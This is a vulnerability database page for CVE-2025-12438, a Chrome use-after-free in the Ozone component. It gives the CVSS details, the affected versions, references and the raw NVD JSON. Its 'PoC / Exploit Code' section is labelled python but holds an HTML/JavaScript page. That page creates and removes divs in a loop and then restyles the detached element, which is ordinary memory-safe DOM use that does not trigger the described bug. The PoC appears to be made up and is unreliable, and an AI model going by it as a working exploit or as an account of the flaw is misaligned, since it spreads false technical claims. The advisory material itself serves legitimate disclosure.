CVE-2025-12438

Description

Use after free in Ozone in Google Chrome on Linux and ChromeOS prior to 142.0.7444.59 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:chrome_os:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59 (Linux)

Google Chrome < 142.0.7444.59 (ChromeOS)

Chromium-based browsers using Ozone platform < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
CVE-2025-12438 PoC - Use After Free in Ozone (Chrome < 142.0.7444.59)
This PoC demonstrates the vulnerability trigger mechanism.
Note: Actual exploitation requires specific memory manipulation.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12438 PoC</title>
</head>
<body>
    <h1>CVE-2025-12438 Use After Free PoC</h1>
    <p>This is a conceptual PoC for the Ozone UAF vulnerability.</p>
    
    <script>
        // Trigger mechanism for UAF in Ozone component
        // The actual exploit requires precise timing and memory manipulation
        
        function triggerUAF() {
            // Create objects that interact with Ozone platform
            // When certain conditions are met, objects are freed but references remain
            
            // Example trigger: Rapid creation/destruction of specific DOM elements
            // that interact with the Ozone graphics context
            
            for (let i = 0; i < 1000; i++) {
                const container = document.createElement('div');
                container.style.cssText = 'position: fixed; width: 100px; height: 100px;';
                document.body.appendChild(container);
                
                // Force layout recalculation which may interact with Ozone
                container.offsetHeight;
                
                // Remove element - object may be freed but references persist
                document.body.removeChild(container);
                
                // Immediately try to access the removed element
                // This may trigger use-after-free if Ozone references remain
                try {
                    container.style.width = '200px';
                } catch (e) {
                    console.log('Error occurred:', e);
                }
            }
        }
        
        // Trigger on page load
        window.addEventListener('load', function() {
            setTimeout(triggerUAF, 1000);
        });
    </script>
    
    <p><strong>Mitigation:</strong> Update Google Chrome to version 142.0.7444.59 or later.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12438
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12438
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12438/
[4] VulDB https://vuldb.com/cve/CVE-2025-12438
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/433027577

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12438", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.513", "lastModified": "2025-11-13T15:24:40.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Ozone in Google Chrome on Linux and ChromeOS prior to 142.0.7444.59 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:chrome_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "D32ACF6F-5FF7-4815-8EAD-4719F5FC9B79"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/433027577", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}